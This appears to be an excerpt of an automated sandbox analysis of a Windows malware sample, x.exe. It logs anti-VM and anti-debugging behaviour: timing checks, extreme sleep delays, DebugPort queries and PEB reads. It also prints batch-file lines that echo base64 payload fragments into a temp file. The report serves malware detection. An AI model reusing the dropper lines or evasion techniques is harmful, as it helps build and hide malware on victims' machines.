Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: x.exe PID: 6728, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 1150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 4AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 9500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: A500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: A730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: B730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: BB80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: CB80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: DB80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 7_2_0144D1C0 rdtsc

7_2_0144D1C0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\x.exe

API coverage: 0.7 %

Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 4764	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 7064	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\x.exe

Thread delayed: delay time: 922337203685477

Source: FS001_ DT103024.bat	Binary or memory string: echo zERVMCInczNhUcTbd1EWG4MmMKlsuKW+nDHIbMxilXPhioqGJHY5ELg3eoVWNAzFT09MBX>>%tmp%\x
Source: cscript.exe, 00000004.00000003.2177185637.0000024361542000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zERVMCInczNhUcTbd1EWG4MmMKlsuKW+nDHIbMxilXPhioqGJHY5ELg3eoVWNAzFT09MBX
Source: cscript.exe, 00000004.00000003.2177185637.0000024361542000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HnUZ/Q9U+L9D2WnUp4cl6J2Nr1kzIR4KRWJXN+q8VdD4uwN0KZ3QezjqXt6ot4UuSVmCi/
Source: FS001_ DT103024.bat	Binary or memory string: echo HnUZ/Q9U+L9D2WnUp4cl6J2Nr1kzIR4KRWJXN+q8VdD4uwN0KZ3QezjqXt6ot4UuSVmCi/>>%tmp%\x
Source: FS001_ DT103024.bat	Binary or memory string: echo UsGcBo0v/3Ec+Q+9KtjbPyn//qJWs0P6gWx+/43yNtfUP+N/A74YsZMRwIpACQqEmUAESa>>%tmp%\x
Source: cscript.exe, 00000004.00000003.2175918689.0000024361549000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2177014467.0000024360ACF000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2176716309.00000243608C2000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2173426892.0000024360AC9000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2174075666.0000024360BD8000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2174601298.0000024360DFC000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2177185637.0000024361542000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2176674872.0000024360401000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UsGcBo0v/3Ec+Q+9KtjbPyn//qJWs0P6gWx+/43yNtfUP+N/A74YsZMRwIpACQqEmUAESa

Source: C:\Users\user\AppData\Local\Temp\x.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\x.exe

Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 7_2_0144D1C0 rdtsc

7_2_0144D1C0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 7_2_004178A3 LdrLoadDll,

7_2_004178A3

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01464144 mov eax, dword ptr fs:[00000030h]	7_2_01464144
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01464144 mov eax, dword ptr fs:[00000030h]	7_2_01464144
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01464144 mov ecx, dword ptr fs:[00000030h]	7_2_01464144
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01464144 mov eax, dword ptr fs:[00000030h]	7_2_01464144
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01464144 mov eax, dword ptr fs:[00000030h]	7_2_01464144
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CB136 mov eax, dword ptr fs:[00000030h]	7_2_013CB136
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CB136 mov eax, dword ptr fs:[00000030h]	7_2_013CB136
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CB136 mov eax, dword ptr fs:[00000030h]	7_2_013CB136
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CB136 mov eax, dword ptr fs:[00000030h]	7_2_013CB136
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D1131 mov eax, dword ptr fs:[00000030h]	7_2_013D1131
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D1131 mov eax, dword ptr fs:[00000030h]	7_2_013D1131
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A5152 mov eax, dword ptr fs:[00000030h]	7_2_014A5152
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01469179 mov eax, dword ptr fs:[00000030h]	7_2_01469179
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172 mov eax, dword ptr fs:[00000030h]	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01490115 mov eax, dword ptr fs:[00000030h]	7_2_01490115
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147A118 mov ecx, dword ptr fs:[00000030h]	7_2_0147A118
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147A118 mov eax, dword ptr fs:[00000030h]	7_2_0147A118
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147A118 mov eax, dword ptr fs:[00000030h]	7_2_0147A118
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147A118 mov eax, dword ptr fs:[00000030h]	7_2_0147A118
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01400124 mov eax, dword ptr fs:[00000030h]	7_2_01400124
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D6154 mov eax, dword ptr fs:[00000030h]	7_2_013D6154
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D6154 mov eax, dword ptr fs:[00000030h]	7_2_013D6154
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CC156 mov eax, dword ptr fs:[00000030h]	7_2_013CC156
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D7152 mov eax, dword ptr fs:[00000030h]	7_2_013D7152
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C9148 mov eax, dword ptr fs:[00000030h]	7_2_013C9148
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C9148 mov eax, dword ptr fs:[00000030h]	7_2_013C9148
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C9148 mov eax, dword ptr fs:[00000030h]	7_2_013C9148
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C9148 mov eax, dword ptr fs:[00000030h]	7_2_013C9148
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A51CB mov eax, dword ptr fs:[00000030h]	7_2_014A51CB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014961C3 mov eax, dword ptr fs:[00000030h]	7_2_014961C3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014961C3 mov eax, dword ptr fs:[00000030h]	7_2_014961C3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EB1B0 mov eax, dword ptr fs:[00000030h]	7_2_013EB1B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140D1D0 mov eax, dword ptr fs:[00000030h]	7_2_0140D1D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140D1D0 mov ecx, dword ptr fs:[00000030h]	7_2_0140D1D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144E1D0 mov eax, dword ptr fs:[00000030h]	7_2_0144E1D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144E1D0 mov eax, dword ptr fs:[00000030h]	7_2_0144E1D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144E1D0 mov ecx, dword ptr fs:[00000030h]	7_2_0144E1D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144E1D0 mov eax, dword ptr fs:[00000030h]	7_2_0144E1D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144E1D0 mov eax, dword ptr fs:[00000030h]	7_2_0144E1D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CA197 mov eax, dword ptr fs:[00000030h]	7_2_013CA197
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CA197 mov eax, dword ptr fs:[00000030h]	7_2_013CA197
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CA197 mov eax, dword ptr fs:[00000030h]	7_2_013CA197
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A61E5 mov eax, dword ptr fs:[00000030h]	7_2_014A61E5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014001F8 mov eax, dword ptr fs:[00000030h]	7_2_014001F8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014771F9 mov esi, dword ptr fs:[00000030h]	7_2_014771F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148C188 mov eax, dword ptr fs:[00000030h]	7_2_0148C188
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148C188 mov eax, dword ptr fs:[00000030h]	7_2_0148C188
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01410185 mov eax, dword ptr fs:[00000030h]	7_2_01410185
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F51EF mov eax, dword ptr fs:[00000030h]	7_2_013F51EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D51ED mov eax, dword ptr fs:[00000030h]	7_2_013D51ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01427190 mov eax, dword ptr fs:[00000030h]	7_2_01427190
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145019F mov eax, dword ptr fs:[00000030h]	7_2_0145019F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145019F mov eax, dword ptr fs:[00000030h]	7_2_0145019F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145019F mov eax, dword ptr fs:[00000030h]	7_2_0145019F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145019F mov eax, dword ptr fs:[00000030h]	7_2_0145019F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014811A4 mov eax, dword ptr fs:[00000030h]	7_2_014811A4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014811A4 mov eax, dword ptr fs:[00000030h]	7_2_014811A4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014811A4 mov eax, dword ptr fs:[00000030h]	7_2_014811A4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014811A4 mov eax, dword ptr fs:[00000030h]	7_2_014811A4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147705E mov ebx, dword ptr fs:[00000030h]	7_2_0147705E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147705E mov eax, dword ptr fs:[00000030h]	7_2_0147705E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CA020 mov eax, dword ptr fs:[00000030h]	7_2_013CA020
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CC020 mov eax, dword ptr fs:[00000030h]	7_2_013CC020
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EE016 mov eax, dword ptr fs:[00000030h]	7_2_013EE016
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EE016 mov eax, dword ptr fs:[00000030h]	7_2_013EE016
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EE016 mov eax, dword ptr fs:[00000030h]	7_2_013EE016
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EE016 mov eax, dword ptr fs:[00000030h]	7_2_013EE016
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A5060 mov eax, dword ptr fs:[00000030h]	7_2_014A5060
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145106E mov eax, dword ptr fs:[00000030h]	7_2_0145106E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144D070 mov ecx, dword ptr fs:[00000030h]	7_2_0144D070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01454000 mov ecx, dword ptr fs:[00000030h]	7_2_01454000
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FC073 mov eax, dword ptr fs:[00000030h]	7_2_013FC073
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov ecx, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1070 mov eax, dword ptr fs:[00000030h]	7_2_013E1070
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D2050 mov eax, dword ptr fs:[00000030h]	7_2_013D2050
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB052 mov eax, dword ptr fs:[00000030h]	7_2_013FB052
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149903E mov eax, dword ptr fs:[00000030h]	7_2_0149903E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149903E mov eax, dword ptr fs:[00000030h]	7_2_0149903E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149903E mov eax, dword ptr fs:[00000030h]	7_2_0149903E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149903E mov eax, dword ptr fs:[00000030h]	7_2_0149903E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144D0C0 mov eax, dword ptr fs:[00000030h]	7_2_0144D0C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144D0C0 mov eax, dword ptr fs:[00000030h]	7_2_0144D0C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A50D9 mov eax, dword ptr fs:[00000030h]	7_2_014A50D9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014520DE mov eax, dword ptr fs:[00000030h]	7_2_014520DE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D5096 mov eax, dword ptr fs:[00000030h]	7_2_013D5096
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FD090 mov eax, dword ptr fs:[00000030h]	7_2_013FD090
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FD090 mov eax, dword ptr fs:[00000030h]	7_2_013FD090
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CD08D mov eax, dword ptr fs:[00000030h]	7_2_013CD08D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014120F0 mov ecx, dword ptr fs:[00000030h]	7_2_014120F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D208A mov eax, dword ptr fs:[00000030h]	7_2_013D208A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CC0F0 mov eax, dword ptr fs:[00000030h]	7_2_013CC0F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D80E9 mov eax, dword ptr fs:[00000030h]	7_2_013D80E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F50E4 mov eax, dword ptr fs:[00000030h]	7_2_013F50E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F50E4 mov ecx, dword ptr fs:[00000030h]	7_2_013F50E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140909C mov eax, dword ptr fs:[00000030h]	7_2_0140909C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CA0E3 mov ecx, dword ptr fs:[00000030h]	7_2_013CA0E3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F90DB mov eax, dword ptr fs:[00000030h]	7_2_013F90DB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014960B8 mov eax, dword ptr fs:[00000030h]	7_2_014960B8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014960B8 mov ecx, dword ptr fs:[00000030h]	7_2_014960B8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov ecx, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov ecx, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov ecx, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov ecx, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
